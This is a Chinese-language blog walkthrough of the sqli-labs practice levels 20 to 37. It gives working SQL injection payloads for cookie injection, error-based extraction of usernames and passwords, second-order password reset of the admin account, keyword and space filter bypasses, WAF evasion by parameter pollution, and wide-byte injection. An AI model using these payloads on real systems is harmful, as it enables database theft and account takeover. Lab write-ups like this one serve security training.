sqli-lab题解及经验总结二

20.基于头部cookie的头部报错POST注入

在这里插入图片描述
和第一关一样的报错payload,只是改为cookie头部注入

21.基于错误的复杂的字符型cookie注入,单引号单括号

和20关类似,只是cookie的uname值经过base64解码,所以我们需要base64编码
而且闭合变为’)
在这里插入图片描述

22.基于头部的Cookie报错注入,双引号

将闭合改为",base64编码
在这里插入图片描述

23.基于报错的GET型,过滤注释

根据id的2-1和2的结果比较可以知道,这是个字符型注入
接下来判断闭合
输入’ #
在这里插入图片描述
输入 ‘)空格#
在这里插入图片描述
仔细观察,发现报错那多了个空格
尝试把# 换成 --+
结果也是一样
在这里插入图片描述
我们可以判断注释符替换成了空
接下来就是判断闭合了
输入 1 1" 1") 1"))的结果都是对的
在这里插入图片描述
输入 1’ 1’) 的结果是错误的
在这里插入图片描述
在这里插入图片描述
假设有()闭合,可以在程序中修改,添加()
输入1’
在这里插入图片描述
输入 1’)
在这里插入图片描述
发现报错的括号在最右边
综上所述,我们可以判断这个是没有括号的闭合,而且是’引号闭合,有因为解释符被过滤,所以我们可以构造如下payload:
1’ and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) or ‘a’='a
注:or ‘a’='a 是为了绕过后面的闭合
在这里插入图片描述

24.二阶注入

在登录页面创建一个admin’#账号,由于转义的关系,此账号会一admin’#的形式存放进数据库中,但是在更新该账号的时候,在从数据库取出来的那个时候,并不会发生转义。此时带入update语句中,那么就会造成二阶注入,进而修改掉admin账户的密码。
1.登录自己注册的admin’#账户
在这里插入图片描述
2.修改密码
在这里插入图片描述
3.登录admin账户,密码为修改的密码
在这里插入图片描述

25.过滤了or和and,报错注入

判断过滤的方法是:在id=1前加 id=and1
这里是单引号闭合
查看源码将它替换成了空
所以可以双写and 和 or即anand oorr
构造payload:
anandd (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,passwoorrd) from users)))) %23
在这里插入图片描述

25a.过滤了and 和 or ,盲注

同样的的绕过方式,只是是盲注
在这里插入图片描述

26.过滤了注释和空格的注入(26~29环境用Linux)

这里可以使用报错注入
空格绕过技巧(环境用linux,windows下apache不支持解析%0b这种类型字符,这里我去源码把空格注释掉)
需要注释,后面的闭合payload:%26%26 ‘a’ =’ (%26的编码为||)

26a.过滤了空格和注释的盲注,闭合加了个)(如何判断闭合有待研究)

关于盲注过滤注释,我不知道如何判断闭合
但存在用户名密码的输出
所以可以用联合注入
payload: %0bunion%0bselect%0b1,database(),3%0b||(‘1’)=('1

27.过滤了union和select

在前面两题的基础上过滤了union和select,但是大小写可以绕过

27a.过滤了union和select,双引号型(如何判断闭合有待研究)

28.基于错误的,有括号的单引号字符型,过滤了union和select等注入(闭合不知道怎么判断)

绕过的payload,这里需要注释掉"注释过滤"
?id=0%27) unionunion select select 1,database(),(%273%27)=(%273
在这里插入图片描述

28a.基于错误的,有括号的单引号字符型,过滤了union和select等注入(闭合不知道怎么判断)

这里多了个
$id= preg_replace(’/select/m’,"", $id);
把select旁边的空格和select都换成了"什么都没有"
这里可以大写select绕过
在这里插入图片描述

29.WAF,可以报错注入,也可以union注入

WAF的绕过思路
id=1&id=-1’
这里截取第一个id值给服务器检查,但是服务器在读取时,会以后面一个id的值为最终值
所以构造payload:
login.php?id=1&id=-1’ union select 1,database(),3 %23
在这里插入图片描述

30.WAF,可以报错注入,也可以union注入

这里只是把闭合的单引号改成了双引号
在这里插入图片描述

31.WAF,可以报错注入,也可以union注入

这里根据报错可知,在30题闭合基础上添加一个)即可(由报错可知)
在这里插入图片描述

32.宽字节注入

由源码可知,它把\、’、"都转义了
这里我们可以使用宽字节注入把\匹配掉
id=-1%df’ union select 1,database(),3 %23
在这里插入图片描述

33.宽字节注入

源码知这里使用addslashes过滤
Addslashes()
功能:单引号,双引号,反斜线与NULL前加上反斜线
和32一样过滤

在这里插入图片描述

34.宽字节注入,post型(不能联合注入)

%df经过url编码即可,其值为�
payload:
admin�’ and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) #
在这里插入图片描述

35.这里不需要闭合,正常注入即可

在这里插入图片描述

36.宽字节注入

这里的过滤函数换成了
mysql_real_escape_string()
功能:转义SQL语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。为了安全起见,在像Mysql传送查询前,必须调用这个函数。
在这里插入图片描述

37.宽字节注入,post型(不能联合注入)

这里的过滤函数换成了
mysql_real_escape_string()
功能:转义SQL语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。为了安全起见,在像Mysql传送查询前,必须调用这个函数。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值